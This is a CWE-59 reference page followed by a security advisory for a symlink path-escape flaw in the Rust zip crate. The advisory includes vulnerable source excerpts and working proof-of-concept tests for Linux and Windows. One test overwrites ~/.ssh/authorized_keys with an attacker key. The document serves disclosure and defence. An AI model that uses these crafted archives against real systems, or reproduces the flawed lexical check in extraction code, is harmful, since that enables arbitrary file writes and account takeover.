CWE-59
Weakness AllowedImproper Link Resolution Before File Access
Abstraction: Base · Status: Draft
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
Mapping guidance
This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.
Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
Modes of introduction
REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Detection methods
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: SOAR Partial
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Theoretical
Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.
Some potential factors are race conditions, permissions, and predictability.
Content history
updated Time_of_Introduction
updated Alternate_Terms, Applicable_Platforms, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
updated Relationships, Taxonomy_Mappings
updated Relationships
updated Description, Name
updated Background_Details, Other_Notes
updated Potential_Mitigations, Relationships
updated Related_Attack_Patterns
updated Common_Consequences
updated Relationships, Taxonomy_Mappings
updated Common_Consequences, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Common_Consequences, Other_Notes
updated Detection_Factors, Relationships, Taxonomy_Mappings
updated Relationships
updated Affected_Resources, Applicable_Platforms, Causal_Nature, Common_Consequences, Functional_Areas, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, Taxonomy_Mappings
updated Taxonomy_Mappings
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Research_Gaps
updated Relationships
updated Alternate_Terms, Background_Details, Observed_Examples, References, Relationship_Notes, Theoretical_Notes
updated Description
updated Relationships
updated Mapping_Notes
updated Detection_Factors, References
updated Applicable_Platforms, Relationships
updated Alternate_Terms, Name, Observed_Examples
2741 vulnerabilities reference this CWE, most recent first.
GHSA-HJQX-J4RW-G7XV
Vulnerability from github – Published: 2026-10-29 16:40 – Updated: 2026-10-29 16:40Summary
- Verified version: zip
9.0.0-pre3 - Affected versions:
7.2.0and later - Precondition: The attacker knows (or can guess) the absolute path of the extraction destination
The validation applied to symlinks is purely lexical.
As a result, an attacker can write arbitrary files outside the extraction directory through a symlink.
Exploitation requires the attacker to know (or guess) the absolute path of the destination, but this is realistic in practice: CI workspaces, /opt/app, a fixed Downloads path, and so on.
Impact extends further on Windows (verified on real hardware for both the separate-drive and UNC-share cases):
Becausesimplified_componentsdiscards thePrefixcomponent, paths likeD:\<same tail as dest>or a UNC path\\attacker\share\<same tail>pass thestarts_withcheck.
As a result,outpath.pushgets replaced onto a different drive/remote share, so a single symlink is enough — no intermediate symlink chain is required.
That said, creating a symlink on Windows requiresSeCreateSymbolicLinkPrivilege(administrator rights or Developer Mode enabled). Real-hardware verification (Windows 10 VM (19045.2604),tests/poc_win.rs):
With the extraction target set to a temporary directory underC:, both of the following paths returnedOk(())fromextract()and successfully wrote outside the extraction target.
In both casesextract()returned no error (Ok(())), and it was confirmed that the contents ofpwned.txtmatched the attacker-specified value.
Relationship to CVE-2025-29787
This is not a duplicate of the existing CVE-2025-29787 (2025-03); rather, the protection introduced for that CVE was subsequently lost.
Timeline (git history, UTC)
| commit | Date | Description |
|---|---|---|
d4539d6b |
2025-02-28 | Initial fix for CVE-2025-29787. Canonicalizes output paths and symlink targets and verifies they descend from the destination |
0199ac2c |
2025-03-15 | Before the v2.3.0 release, the above is replaced with a lexical check based on simplified_components |
v2.3.0 |
2025-03-16 | Released as the CVE fix. What actually shipped is the lexical check |
d5cf4b55 |
2026-01-18 | Changes how simplified_components handles absolute paths, from rejecting them to silently stripping them (released in v7.2.0) |
Why v2.3.0 was not affected, and how the protection was lost
The safe_prepare_path in v2.3.0 performs essentially the same lexical check as the current code. However, simplified_components at that time rejected any path containing an absolute component, so an absolute symlink target was never accepted in the first place and this attack path did not work.
// v2.3.0: reject absolute paths
Component::Prefix(_) | Component::RootDir => return None,
// Current: ignore the fact that the path is absolute
Utf8WindowsComponent::Prefix(_) | Utf8WindowsComponent::RootDir => (),
d5cf4b55 was intended to make archives containing absolute path names extractable, but as a side effect absolute symlink targets now pass the lexical check, which silently removed the protection against CVE-2025-29787.
Verification
The following three cases were compared using the same build (9.0.0-pre3):
| Payload / condition | Result |
|---|---|
Original PoC for CVE-2025-29787 (relative symlink parent -> ../) |
Blocked with Err(InvalidArchive("Invalid symlink target path")) (the CVE fix itself is effective) |
| PoC in this report (two-stage symlink using absolute paths) | Succeeds with Ok(()), writing outside the destination |
PoC in this report, with the d5cf4b55 change reverted to return None |
Blocked with Err(InvalidArchive("Invalid symlink target path")) |
The first row shows that the fix for the CVE itself still works, confirming that this report is not a duplicate.
The third row confirms that this vulnerability originates from the change in d5cf4b55.
Differences from CVE-2025-29787
- Stricter precondition: This issue requires the absolute path of the destination to be known (
AC:H). The CVE worked with a relative../and had no such precondition. - Narrower API surface: This issue affects only
ZipArchive::extract(andextract_unwrapped_root_dir).ZipStreamReader::extractis not affected, becauseexternal_attributesin the local header is0and thereforeis_symlink()never returns true (the CVE affected both APIs).
Details
Lexical validation of the path string
The symlink validation in src/read/zipfile.rs: L290-345 is lexical.
src/read/zipfile.rs: fn safe_prepare_path (L316-321):
if !crate::path::simplified_components(&target)
.ok_or(invalid!("Invalid symlink target path"))?
.starts_with(
&crate::path::simplified_components(base_path)
.ok_or(invalid!("Invalid base path"))?,
)
simplified_components discards the information that a path is absolute (drive prefix / root), normalizes it lexically, and then merely performs a prefix comparison between the two results. It never looks at how the path actually resolves on the file system.
Consequently, the classic Zip Slip vector using .. is blocked, but paths that involve symlink resolution are not.
src/path.rs: fn simplified_components (L9~26):
/// Simplify a path by removing the prefix and parent directories and only return normal components
pub(crate) fn simplified_components(input: &Path) -> Option<Vec<&OsStr>> {
let mut out = Vec::new();
let input_str = input.to_str()?;
for component in Utf8WindowsPath::new(input_str).components() {
match component {
// Skip prefix and root directory components instead of rejecting the entire path
// This allows extraction of ZIP files with absolute paths, similar to other ZIP tools
Utf8WindowsComponent::Prefix(_) | Utf8WindowsComponent::RootDir => (),
Utf8WindowsComponent::ParentDir => {
out.pop()?;
}
Utf8WindowsComponent::Normal(s) => out.push(OsStr::new(s)),
Utf8WindowsComponent::CurDir => (),
}
}
Some(out)
}
Insufficient validation of target
Once the path check passes, src/read/zipfile.rs: fn safe_prepare_path (L345) performs outpath.push(target), but whether any intermediate component of target is itself a symlink is never checked.
In addition, make_symlink, which is called from extract_internal, delegates to make_symlink_impl and only validates that the archive-supplied target is valid UTF-8.
There is no check that target stays inside the destination, so the symlink is created as-is.
src/read/mod.rs: fn extract_internal (L396-406):
#[cfg(any(unix, windows))]
if file.is_symlink() {
let mut target = Vec::with_capacity(file.size() as usize);
file.read_to_end(&mut target)?;
drop(file);
make_symlink(&outpath, &target, &self.shared.files)?;
continue;
} else if file.is_dir() {
make_writable_dir_all(&outpath)?;
continue;
}
src/read/mod.rs: fn make_symlink_impl (L57-90):
#[cfg(unix)]
pub(crate) fn make_symlink_impl<T>(
outpath: &Path,
target_str: &str,
_existing_files: &IndexMap<Box<[u8]>, T>,
) -> ZipResult<()> {
std::os::unix::fs::symlink(Path::new(&target_str), outpath)?;
Ok(())
}
#[cfg(windows)]
pub(crate) fn make_symlink_impl<T>(
outpath: &Path,
target_str: &str,
existing_files: &IndexMap<Box<[u8]>, T>,
) -> ZipResult<()> {
use crate::format::functions::is_dir;
let target = Path::new(OsStr::new(&target_str));
let target_is_dir_from_archive =
is_dir(target_str.as_bytes()) && existing_files.contains_key(target_str.as_bytes());
let target_is_dir = if target_is_dir_from_archive {
true
} else if let Ok(meta) = std::fs::metadata(target) {
meta.is_dir()
} else {
false
};
if target_is_dir {
std::os::windows::fs::symlink_dir(target, outpath)?;
} else {
std::os::windows::fs::symlink_file(target, outpath)?;
}
Ok(())
}
Contradiction with the doc comment
The documentation comment of extract at src/read/mod.rs: L266-269 states the following.
In reality, however, there is no validation when a symlink is created, and canonicalize is not used to validate symlink targets (canonicalize is used only in src/read/mod.rs: fn extract_internal (L357), to normalize the destination directory itself).
/// Extract a Zip archive into a directory, overwriting files if they
/// already exist. Paths are sanitized with [`ZipFile::enclosed_name`]. Symbolic links are only
/// created and followed if the target is within the destination directory (this is checked
/// conservatively using [`std::fs::canonicalize`]).
Combining the above makes it possible to write outside the destination during extraction:
| entry | kind | target |
|---|---|---|
| b | symlink | /…/outside (created without validation) |
| a | symlink | <dest>/b/sub (lexically under dest, so it passes the check) |
| a/pwned.txt | file | - |
Entries are processed in central directory order (for i in 0..self.len() at src/read/mod.rs: L386), so the order above (b -> a -> a/pwned.txt) is required.
Extraction then proceeds as follows:
b: without any validation, the symlink<dest>/b -> /…/outside, pointing outside the destination, is created.a: likewise without validation,<dest>/a -> <dest>/b/subis created.a/pwned.txt: whensafe_prepare_pathprocesses the componenta, it sees that<dest>/ais a symlink and validates its target (<dest>/b/sub). Lexically that target is under<dest>, so the check passes andoutpathbecomes<dest>/b/sub.- At this point, the fact that
b, an intermediate component of the target, is a symlink pointing outside is never re-validated. - Because
ais not the final component,make_writable_dir_allis called and creates<dest>/b/sub(which really is/…/outside/sub). - Finally
File::createcreates<dest>/b/sub/pwned.txt; the kernel resolvesband writes to/…/outside/sub/pwned.txt.extract()returnsOk(()).
PoC
The PoC below is written as a unit test.
Place it at tests/poc_linux.rs and run cargo test --test poc_linux -- --nocapture to reproduce.
zip_slip_via_symlink: Write a new file outside the extraction destinationoverwrite_existing_ssh_authorized_keys: Overwrite an existing file ~/.ssh/authorized_keys outside the extraction destination
tests/poc_linux.rs
//! PoC for Linux: Write outside the extraction directory via symlink (GHSA-hjqx-j4rw-g7xv)
//!
//! - author: sl91994
//!
//! Mechanism: The symlink target validation is lexical (prefix matching in `simplified_components`)
//! By placing an outward-pointing symlink `b` as an "intermediate component in the resolved path", `b` is traversed by the OS rather than the validation loop, thus escaping outside without being verified.
//! Can be reproduced with `cargo test --test poc_linux -- --nocapture`
#![cfg(unix)]
use std::fs;
use std::io::{Cursor, Write};
use tempfile::TempDir;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};
/// Verification of writing a new file outside the extraction destination
#[test]
fn zip_slip_via_symlink() {
let tmp = TempDir::new().unwrap();
let dest = tmp.path().join("dest"); // Extraction destination
let outside = tmp.path().join("outside"); // A location where writing should not be allowed
fs::create_dir(&dest).unwrap();
fs::create_dir(&outside).unwrap();
// Construct a malicious ZIP
let mut zip = ZipWriter::new(Cursor::new(Vec::new()));
let opt = SimpleFileOptions::default();
// b: Symlink pointing outside (target is created unverified)
zip.add_symlink("b", outside.to_str().unwrap(), opt).unwrap();
// a: Symlink whose target starts under dest (passes lexical validation)
zip.add_symlink("a", dest.join("b/sub").to_str().unwrap(), opt).unwrap();
// a/pwned.txt: File that escapes outside dest by traversing the intermediate b
zip.start_file("a/pwned.txt", opt).unwrap();
zip.write_all(b"escaped!").unwrap();
let archive = zip.finish_into_readable().unwrap();
ZipArchive::from(archive).extract(&dest).unwrap();
// Verification: File has been written outside dest
let escaped = outside.join("sub/pwned.txt");
assert!(escaped.exists(), "escape failed");
assert_eq!(fs::read_to_string(&escaped).unwrap(), "escaped!");
println!("wrote outside dest: {}", escaped.display());
}
/// Verification of overwriting an existing file (~/.ssh/authorized_keys) outside the extraction destination
#[test]
fn overwrite_existing_ssh_authorized_keys() {
let tmp = TempDir::new().unwrap();
let dest = tmp.path().join("dest"); // Extraction destination
// Reproduce victim's existing ~/.ssh/authorized_keys (containing a legitimate key)
let home = tmp.path().join("home_victim");
let ssh = home.join(".ssh");
fs::create_dir_all(&ssh).unwrap();
let authorized_keys = ssh.join("authorized_keys");
fs::write(&authorized_keys, "ssh-ed25519 AAAA...LEGIT victim@host\n").unwrap();
let original = fs::read_to_string(&authorized_keys).unwrap();
fs::create_dir(&dest).unwrap();
// Construct a malicious ZIP
let mut zip = ZipWriter::new(Cursor::new(Vec::new()));
let opt = SimpleFileOptions::default();
// b: Outward-pointing symlink to victim's HOME (target unverified)
// Because it's placed in the middle rather than at the end, the OS traverses it transparently, bypassing validation
zip.add_symlink("b", home.to_str().unwrap(), opt).unwrap();
// a: Symlink pointing to <dest>/b/.ssh (passes validation because it is lexically under dest)
zip.add_symlink("a", dest.join("b/.ssh").to_str().unwrap(), opt).unwrap();
// a/authorized_keys: File entry that reaches the actual authorized_keys
zip.start_file("a/authorized_keys", opt).unwrap();
zip.write_all(b"ssh-ed25519 AAAA...ATTACKER attacker@evil\n").unwrap();
let archive = zip.finish_into_readable().unwrap();
// extract() returns Ok(()) without an error (the caller cannot detect it)
let res = ZipArchive::from(archive).extract(&dest);
println!("extract() returned: {:?}", res);
res.unwrap();
// Verification: Existing file is overwritten with the attacker's content
let after = fs::read_to_string(&authorized_keys).unwrap();
println!("--- BEFORE ---\n{original}--- AFTER ---\n{after}");
assert_ne!(after, original, "file was NOT overwritten");
assert!(after.contains("ATTACKER"), "attacker content not present");
println!("OVERWROTE existing file: {}", authorized_keys.display());
}
Windows PoC (tests/poc_win.rs)
This is a test that verifies escape to a different drive / UNC share via a single symlink, specific to Windows.
By setting the extraction destination to a temporary directory on C: and making the symlink target an absolute path on a different volume that shares the same tail as dest, it passes the lexical check in simplified_components (which discards the Prefix), and the drive/share substitution performed by outpath.push results in a write outside of dest.
escape_via_second_drive: writes toE:\<same tail as dest>\evil\pwned.txton a separate drive (e.g.E:)escape_via_unc_share: writes to\\localhost\poc\<same tail as dest>\evil\pwned.txton a UNC share (e.g.\\localhost\poc\)
//! Windows PoC: writing to a separate drive / UNC share via a single symlink (GHSA-hjqx-j4rw-g7xv)
//!
//! - author: sl91994
//!
//! The crafted ZIP contains only 2 entries:
//! 1. `a` : a symlink whose target = `<OTHER>\<same tail as dest>\evil` (absolute path)
//! 2. `a/pwned.txt`: a regular file
//! During extraction, resolving `a` causes outpath to be replaced with `<OTHER>\...\evil`,
//! and `File::create(<OTHER>\...\evil\pwned.txt)` writes outside of dest.
//!
//! # Prerequisites
//! - Windows 10 (build 14972+) through Windows 11
//! - Symlink creation privilege `SeCreateSymbolicLinkPrivilege` = Developer Mode enabled, or run as Administrator.
//! - One volume / share **separate from dest**.
//! Supply the escape destination via environment variables:
//! * `POC_OTHER_DRIVE`: root of a separate drive. Must end with `\`. e.g. `D:\`
//! * `POC_UNC_SHARE`: root of a writable UNC share. Must end with `\`.
//! e.g. `\\localhost\poc\`
//! (`net share poc=C:\path\to\share /grant:%USERNAME%,FULL`)
//!
//! # Running
//!
//! ```powershell
//! $env:POC_OTHER_DRIVE = "D:\"
//! $env:POC_UNC_SHARE = "\\localhost\poc\"
//! cargo test --test poc_win -- --nocapture
//! ```
#![cfg(windows)]
use std::ffi::OsString;
use std::fs;
use std::io::{Cursor, Write};
use std::path::{Component, Path, PathBuf};
use tempfile::TempDir;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};
/// Whether we have the privilege needed to create symlinks
fn have_symlink_privilege() -> bool {
let Ok(tmp) = TempDir::new() else {
return false;
};
let target = tmp.path().join("privcheck_target");
let link = tmp.path().join("privcheck_link");
if fs::write(&target, b"x").is_err() {
return false;
}
std::os::windows::fs::symlink_file(&target, &link).is_ok()
}
/// Extract only the Normal components of a path (the tail, with prefix / root dropped)
fn normal_tail(p: &Path) -> Vec<OsString> {
p.components()
.filter_map(|c| match c {
Component::Normal(s) => Some(s.to_os_string()),
_ => None,
})
.collect()
}
/// Returns the `Prefix` (volume identifier) at the head of the path
fn volume_prefix(p: &Path) -> Option<OsString> {
match p.components().next() {
Some(Component::Prefix(pre)) => Some(pre.as_os_str().to_os_string()),
_ => None,
}
}
/// Verifies the single-symlink escape using the escape destination root `other_root` (a separate volume / share)
fn run_escape(variant: &str, other_root: &str) {
if !have_symlink_privilege() {
eprintln!(
"[SKIP] [{variant}] missing SeCreateSymbolicLinkPrivilege; \
enable Developer Mode or run as Administrator."
);
return;
}
// other_root must be an existing, writable root
let other_root_path = PathBuf::from(other_root);
if !fs::metadata(&other_root_path)
.map(|m| m.is_dir())
.unwrap_or(false)
{
eprintln!(
"[SKIP] [{variant}] escape root {other_root:?} does not exist or is not a \
directory; check the environment variable."
);
return;
}
// The extraction destination `dest` is a temp directory (usually on C:). Since the `base` used by
// safe_prepare_path is the path after canonicalize, match the tail to that.
let tmp = TempDir::new().unwrap();
let dest = tmp.path().join("dest");
fs::create_dir(&dest).unwrap();
let canon_dest = fs::canonicalize(&dest).unwrap();
let tail = normal_tail(&canon_dest);
// Reproduce dest's tail on a separate volume as the escape destination, with evil/ underneath it.
// Since simplified_components discards the prefix, the target's tail component sequence
// prefix-matches the base's tail component sequence, passing the lexical check.
let mut escape_dir = other_root_path.clone();
for c in &tail {
escape_dir.push(c);
}
escape_dir.push("evil");
// Confirm it's actually a separate volume (if it's the same volume, it would land inside dest and not be an escape)
let other_vol = fs::canonicalize(&other_root_path)
.ok()
.and_then(|p| volume_prefix(&p));
let dest_vol = volume_prefix(&canon_dest);
assert_ne!(
other_vol, dest_vol,
"[{variant}] escape root {other_root:?} is on the same volume as dest; \
point it at a different drive/share (dest vol={dest_vol:?})."
);
// Assemble the crafted ZIP (entries: 1 symlink + 1 file)
let target_str = escape_dir
.to_str()
.expect("escape path must be valid UTF-8")
.to_string();
println!("[{variant}] dest (canonical) = {}", canon_dest.display());
println!("[{variant}] symlink target = {target_str}");
let mut zip = ZipWriter::new(Cursor::new(Vec::new()));
let opt = SimpleFileOptions::default();
// a: an absolute symlink pointing to the separate drive/share (passes the lexical check via matching tail)
zip.add_symlink("a", &target_str, opt).unwrap();
// a/pwned.txt: resolving `a` substitutes the drive in outpath, causing the write to land outside dest
zip.start_file("a/pwned.txt", opt).unwrap();
zip.write_all(b"escaped-on-windows!").unwrap();
let archive = zip.finish_into_readable().unwrap();
let res = ZipArchive::from(archive).extract(&dest);
println!("[{variant}] extract() returned: {res:?}");
res.expect("extract() failed");
let escaped = escape_dir.join("pwned.txt");
assert!(
escaped.exists(),
"[{variant}] escape failed: {} was not created",
escaped.display()
);
let content = fs::read_to_string(&escaped).unwrap();
println!(
"[{variant}] WROTE OUTSIDE DEST: {} = {content:?}",
escaped.display()
);
let _ = fs::remove_file(&escaped);
let _ = fs::remove_dir(&escape_dir);
assert_eq!(
content, "escaped-on-windows!",
"[{variant}] written content mismatch",
);
}
/// Single-symlink escape to a separate drive (`POC_OTHER_DRIVE`, e.g. `D:\`)
#[test]
fn escape_via_second_drive() {
match std::env::var("POC_OTHER_DRIVE") {
Ok(root) if !root.is_empty() => run_escape("drive", &root),
_ => eprintln!(
"[SKIP] escape_via_second_drive: POC_OTHER_DRIVE not set \
(PowerShell: `$env:POC_OTHER_DRIVE=\"D:\\\"`)."
),
}
}
/// Single-symlink escape to a UNC share (`POC_UNC_SHARE`, e.g. `\\localhost\poc\`)
#[test]
fn escape_via_unc_share() {
match std::env::var("POC_UNC_SHARE") {
Ok(root) if !root.is_empty() => run_escape("unc", &root),
_ => eprintln!(
"[SKIP] escape_via_unc_share: POC_UNC_SHARE not set \
(PowerShell: `$env:POC_UNC_SHARE=\"\\\\localhost\\poc\\\"`)."
),
}
}
Impact
With the privileges of the process that extracts an untrusted ZIP archive via ZipArchive::extract / ZipArchive::extract_unwrapped_root_dir, an attacker can write a file with arbitrary contents to an arbitrary path outside the extraction directory.
- Because existing files can be overwritten, tampering with files such as
~/.ssh/authorized_keys,~/.bashrc,.git/hooks/*, CI configuration, or a service's binaries and configuration files may lead to remote code execution or privilege escalation. Destroying critical files can also cause denial of service. - Extraction does not fail and returns
Ok(()), so the caller has no straightforward way to detect the attack. - The documentation of
extract()explicitly states that symbolic links are only created and followed if the target is within the destination directory, so downstream applications that rely on this as a sandbox boundary are directly affected.
Exploitation requires the absolute path of the destination to be known, but this is realistic in practice: CI workspaces, /opt/<app>, a fixed Downloads directory, and so on.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "zip"
},
"ranges": [
{
"events": [
{
"introduced": "7.2.0"
},
{
"fixed": "9.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-115908"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-29T16:40:12Z",
"nvd_published_at": "2026-10-26T17:17:18Z",
"severity": "HIGH"
},
"details": "### Summary\n\n- **Verified version:** zip `9.0.0-pre3`\n- **Affected versions:** `7.2.0` and later\n- **Precondition:** The attacker knows (or can guess) the absolute path of the extraction destination\n\nThe validation applied to symlinks is purely lexical.\nAs a result, an attacker can write arbitrary files outside the extraction directory through a symlink.\nExploitation requires the attacker to know (or guess) the absolute path of the destination, but this is realistic in practice: CI workspaces, `/opt/app`, a fixed Downloads path, and so on.\n\n\u003e **Impact extends further on Windows (verified on real hardware for both the separate-drive and UNC-share cases)**: \n\u003e Because `simplified_components` discards the `Prefix` component, paths like `D:\\\u003csame tail as dest\u003e` or a UNC path `\\\\attacker\\share\\\u003csame tail\u003e` pass the `starts_with` check. \n\u003e As a result, `outpath.push` gets replaced onto a different drive/remote share, so **a single symlink is enough \u2014 no intermediate symlink chain is required**. \n\u003e That said, creating a symlink on Windows requires `SeCreateSymbolicLinkPrivilege` (administrator rights or Developer Mode enabled).\n\u003e **Real-hardware verification (Windows 10 VM (19045.2604), `tests/poc_win.rs`)**: \n\u003e With the extraction target set to a temporary directory under `C:`, both of the following paths returned `Ok(())` from `extract()` and successfully wrote outside the extraction target. \n\u003e In both cases `extract()` returned no error (`Ok(())`), and it was confirmed that the contents of `pwned.txt` matched the attacker-specified value.\n\n### Relationship to CVE-2025-29787\n\nThis is **not a duplicate** of the existing [CVE-2025-29787](https://github.com/zip-rs/zip2/security/advisories/GHSA-94vh-gphv-8pm8) (2025-03); rather, **the protection introduced for that CVE was subsequently lost**.\n\n#### Timeline (git history, UTC)\n\n| commit | Date | Description |\n| ---------- | ---------- | ---------------------------------------------------------------------------------------------------------------- |\n| `d4539d6b` | 2025-02-28 | Initial fix for CVE-2025-29787. Canonicalizes output paths and symlink targets and verifies they descend from the destination |\n| `0199ac2c` | 2025-03-15 | **Before the v2.3.0 release**, the above is replaced with a lexical check based on `simplified_components` |\n| `v2.3.0` | 2025-03-16 | Released as the CVE fix. **What actually shipped is the lexical check** |\n| `d5cf4b55` | 2026-01-18 | Changes how `simplified_components` handles absolute paths, **from rejecting them to silently stripping them** (released in `v7.2.0`) |\n\n#### Why v2.3.0 was not affected, and how the protection was lost\n\nThe `safe_prepare_path` in v2.3.0 performs essentially the same lexical check as the current code. However, `simplified_components` at that time **rejected any path containing an absolute component**, so an absolute symlink target was never accepted in the first place and this attack path did not work.\n\n```rust\n// v2.3.0: reject absolute paths\nComponent::Prefix(_) | Component::RootDir =\u003e return None,\n\n// Current: ignore the fact that the path is absolute\nUtf8WindowsComponent::Prefix(_) | Utf8WindowsComponent::RootDir =\u003e (),\n```\n\n`d5cf4b55` was intended to make archives containing absolute path names extractable, but as a side effect **absolute symlink targets now pass the lexical check**, which silently removed the protection against CVE-2025-29787.\n\n#### Verification\n\nThe following three cases were compared using the same build (`9.0.0-pre3`):\n\n| Payload / condition | Result |\n| -------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- |\n| Original PoC for CVE-2025-29787 (relative symlink `parent -\u003e ../`) | **Blocked** with `Err(InvalidArchive(\"Invalid symlink target path\"))` (the CVE fix itself is effective) |\n| PoC in this report (two-stage symlink using absolute paths) | **Succeeds** with `Ok(())`, writing outside the destination |\n| PoC in this report, with the `d5cf4b55` change reverted to `return None` | **Blocked** with `Err(InvalidArchive(\"Invalid symlink target path\"))` |\n\nThe first row shows that the fix for the CVE itself still works, confirming that this report is not a duplicate.\nThe third row confirms that this vulnerability originates from the change in `d5cf4b55`.\n\n#### Differences from CVE-2025-29787\n\n- **Stricter precondition:** This issue requires the absolute path of the destination to be known (`AC:H`). The CVE worked with a relative `../` and had no such precondition.\n- **Narrower API surface:** This issue affects only `ZipArchive::extract` (and `extract_unwrapped_root_dir`). `ZipStreamReader::extract` is not affected, because `external_attributes` in the local header is `0` and therefore `is_symlink()` never returns true (the CVE affected both APIs).\n\n### Details\n\n#### Lexical validation of the path string\n\nThe symlink validation in `src/read/zipfile.rs: L290-345` is lexical.\n\n**`src/read/zipfile.rs: fn safe_prepare_path` (L316-321):**\n```rust\nif !crate::path::simplified_components(\u0026target)\n .ok_or(invalid!(\"Invalid symlink target path\"))?\n .starts_with(\n \u0026crate::path::simplified_components(base_path)\n .ok_or(invalid!(\"Invalid base path\"))?,\n )\n```\n\n`simplified_components` discards the information that a path is **absolute (drive prefix / root)**, normalizes it lexically, and then merely performs a prefix comparison between the two results. It never looks at how the path actually resolves on the file system.\n\nConsequently, the classic **Zip Slip** vector using `..` is blocked, but paths that involve symlink resolution are not.\n\n**`src/path.rs: fn simplified_components` (L9~26):**\n```rust\n/// Simplify a path by removing the prefix and parent directories and only return normal components\npub(crate) fn simplified_components(input: \u0026Path) -\u003e Option\u003cVec\u003c\u0026OsStr\u003e\u003e {\n let mut out = Vec::new();\n let input_str = input.to_str()?;\n for component in Utf8WindowsPath::new(input_str).components() {\n match component {\n // Skip prefix and root directory components instead of rejecting the entire path\n // This allows extraction of ZIP files with absolute paths, similar to other ZIP tools\n Utf8WindowsComponent::Prefix(_) | Utf8WindowsComponent::RootDir =\u003e (),\n Utf8WindowsComponent::ParentDir =\u003e {\n out.pop()?;\n }\n Utf8WindowsComponent::Normal(s) =\u003e out.push(OsStr::new(s)),\n Utf8WindowsComponent::CurDir =\u003e (),\n }\n }\n Some(out)\n}\n```\n\n#### Insufficient validation of `target`\n\nOnce the path check passes, **`src/read/zipfile.rs: fn safe_prepare_path` (L345)** performs `outpath.push(target)`, but **whether any intermediate component of `target` is itself a symlink is never checked**.\n\nIn addition, `make_symlink`, which is called from `extract_internal`, delegates to `make_symlink_impl` and only validates that the archive-supplied `target` is valid UTF-8.\nThere is no check that `target` stays inside the destination, so the symlink is created as-is.\n\n**`src/read/mod.rs: fn extract_internal` (L396-406):**\n```rust\n#[cfg(any(unix, windows))]\nif file.is_symlink() {\n let mut target = Vec::with_capacity(file.size() as usize);\n file.read_to_end(\u0026mut target)?;\n drop(file);\n make_symlink(\u0026outpath, \u0026target, \u0026self.shared.files)?;\n continue;\n} else if file.is_dir() {\n make_writable_dir_all(\u0026outpath)?;\n continue;\n}\n```\n\n**`src/read/mod.rs: fn make_symlink_impl` (L57-90):**\n```rust\n#[cfg(unix)]\npub(crate) fn make_symlink_impl\u003cT\u003e(\n outpath: \u0026Path,\n target_str: \u0026str,\n _existing_files: \u0026IndexMap\u003cBox\u003c[u8]\u003e, T\u003e,\n) -\u003e ZipResult\u003c()\u003e {\n std::os::unix::fs::symlink(Path::new(\u0026target_str), outpath)?;\n Ok(())\n}\n\n#[cfg(windows)]\npub(crate) fn make_symlink_impl\u003cT\u003e(\n outpath: \u0026Path,\n target_str: \u0026str,\n existing_files: \u0026IndexMap\u003cBox\u003c[u8]\u003e, T\u003e,\n) -\u003e ZipResult\u003c()\u003e {\n use crate::format::functions::is_dir;\n let target = Path::new(OsStr::new(\u0026target_str));\n let target_is_dir_from_archive =\n is_dir(target_str.as_bytes()) \u0026\u0026 existing_files.contains_key(target_str.as_bytes());\n let target_is_dir = if target_is_dir_from_archive {\n true\n } else if let Ok(meta) = std::fs::metadata(target) {\n meta.is_dir()\n } else {\n false\n };\n if target_is_dir {\n std::os::windows::fs::symlink_dir(target, outpath)?;\n } else {\n std::os::windows::fs::symlink_file(target, outpath)?;\n }\n Ok(())\n}\n```\n\n#### Contradiction with the doc comment\n\nThe documentation comment of `extract` at `src/read/mod.rs: L266-269` states the following.\nIn reality, however, there is no validation when a symlink is created, and **`canonicalize` is not used to validate symlink targets** (`canonicalize` is used only in **`src/read/mod.rs: fn extract_internal` (L357)**, to normalize the destination directory itself).\n\n```rust\n /// Extract a Zip archive into a directory, overwriting files if they\n /// already exist. Paths are sanitized with [`ZipFile::enclosed_name`]. Symbolic links are only\n /// created and followed if the target is within the destination directory (this is checked\n /// conservatively using [`std::fs::canonicalize`]).\n```\n\nCombining the above makes it possible to write outside the destination during extraction:\n\n| entry | kind | target |\n| 